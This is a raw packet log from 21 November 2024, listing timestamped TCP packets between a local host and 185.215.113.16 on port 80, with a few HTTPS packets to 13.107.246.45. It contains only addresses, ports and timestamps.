Nov 21, 2024 07:10:21.217483997 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.217608929 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.217650890 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.218388081 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.218436003 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.218476057 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.218517065 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.219289064 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.219338894 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.219439030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.219501019 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.220204115 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.220251083 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.220331907 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.220379114 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.221052885 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.221101046 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.221182108 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.221226931 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.221936941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.222068071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.222110987 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.222816944 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.222866058 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.222929955 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.222976923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.223701000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.223742008 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.223820925 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.223865986 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.224565983 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.224632025 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.224668026 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.224715948 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.225440025 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.225567102 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.225619078 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.226332903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.226382017 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.226386070 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.226429939 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.227190971 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.227241039 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.227298021 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.227361917 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.228085041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.228127003 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.228192091 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.228239059 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.228945971 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.228998899 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.229080915 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.229130983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.229831934 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.229991913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.230046988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.230719090 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.230777025 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.230828047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.230874062 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.231580019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.231631994 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.231710911 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.231755018 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.232491970 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.232544899 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.232644081 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.232693911 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.233333111 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.233392000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.233462095 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.234226942 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.234282017 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.234328985 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.234380960 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.235102892 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.235157013 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.235215902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.235282898 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.235975981 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.236037970 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.236116886 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.236169100 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.236885071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.236944914 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.236952066 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.236994982 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.237742901 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.237916946 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.237978935 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.238604069 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.238668919 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.238782883 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.238852024 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.239480972 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.239547014 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.239588022 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.239634037 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.240359068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.240416050 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.240422010 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.240463972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.241264105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.241353035 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.241413116 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.242121935 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.242186069 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.242243052 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.242295027 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.243129969 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.243220091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.243364096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.243428946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.243866920 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.243928909 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.244146109 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.244203091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.244733095 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.244791031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.244864941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.244916916 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.245640039 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.245762110 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.245824099 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.246612072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.246673107 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.246681929 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.246753931 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.247543097 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.247606039 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.247648001 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.247698069 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.248313904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.248378992 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.248464108 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.248518944 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.249118090 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.249183893 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.249231100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.249345064 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.249975920 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.250032902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.250040054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.250077009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.250848055 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.250924110 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.250973940 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.251020908 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.251715899 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.251775026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.251810074 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.251852989 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.252620935 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.252675056 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.252702951 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.252747059 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.253490925 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.253546953 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.253633022 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.254297018 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.254371881 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.344856024 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.344928026 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.345014095 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.355060101 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.355060101 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.355103016 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.355129004 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.359596968 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.359639883 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.359730959 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.359930992 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.359961033 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.409693003 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.409740925 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.409826040 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.410134077 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.410190105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.410275936 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.410326004 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.410973072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.411019087 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.411075115 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.411123991 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.411782026 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.411886930 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.411891937 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.411935091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.412667990 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.412714005 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.412781954 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.412827969 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.413533926 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.413666964 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.413713932 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.414405107 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.414448977 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.414529085 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.414572001 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.415272951 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.415328026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.415391922 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.415441036 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.416153908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.416199923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.416282892 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.416332960 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.417145014 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.417196035 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.417257071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.417300940 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.417985916 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.418123960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.418170929 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.418809891 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.418865919 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.418920040 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.418968916 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.419683933 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.419734955 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.419825077 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.419872046 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.420566082 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.420618057 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.420718908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.420768023 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.421436071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.421555042 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.421602964 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.422314882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.422363997 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.422437906 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.422485113 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.423223019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.423274040 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.423362970 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.423408031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.424081087 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.424133062 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.424201012 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.424245119 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.424959898 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.425004959 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.425070047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.425117016 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.425825119 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.425976992 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.426023006 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.426709890 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.426760912 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.426826000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.426876068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.427580118 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.427628994 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.427741051 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.427800894 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.428456068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.428503990 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.428569078 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.428616047 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.429342985 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.429449081 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.429502010 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.430272102 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.430308104 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.430322886 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.430354118 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.431082964 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.431135893 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.431135893 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.431176901 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.431953907 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.432013988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.432080984 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.432130098 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.432846069 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.432892084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.432957888 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.433007956 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.433728933 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.433921099 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.433973074 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.434607983 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.434655905 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.434787035 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.434833050 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.435503960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.435568094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.435585022 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.435653925 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.436404943 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.436451912 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.436496973 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.436544895 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.437239885 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.437290907 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.437344074 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.438110113 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.438165903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.438210964 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.438260078 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.439002991 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.439052105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.439132929 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.439179897 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.439889908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.439938068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.439984083 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.440030098 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.440746069 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.440793991 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.440799952 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.440834999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.441611052 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.441744089 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.441796064 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.442503929 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.442596912 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.442634106 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.442677021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.443387032 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.443434954 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.443510056 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.443569899 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.444303036 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.444351912 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.444418907 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.444464922 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.445137978 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.445183992 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.445257902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.446120024 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.446171045 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.446295023 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.446340084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.446875095 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.446923971 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.447000980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.447047949 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.447771072 CET	80	49787	185.215.113.16	192.168.2.4
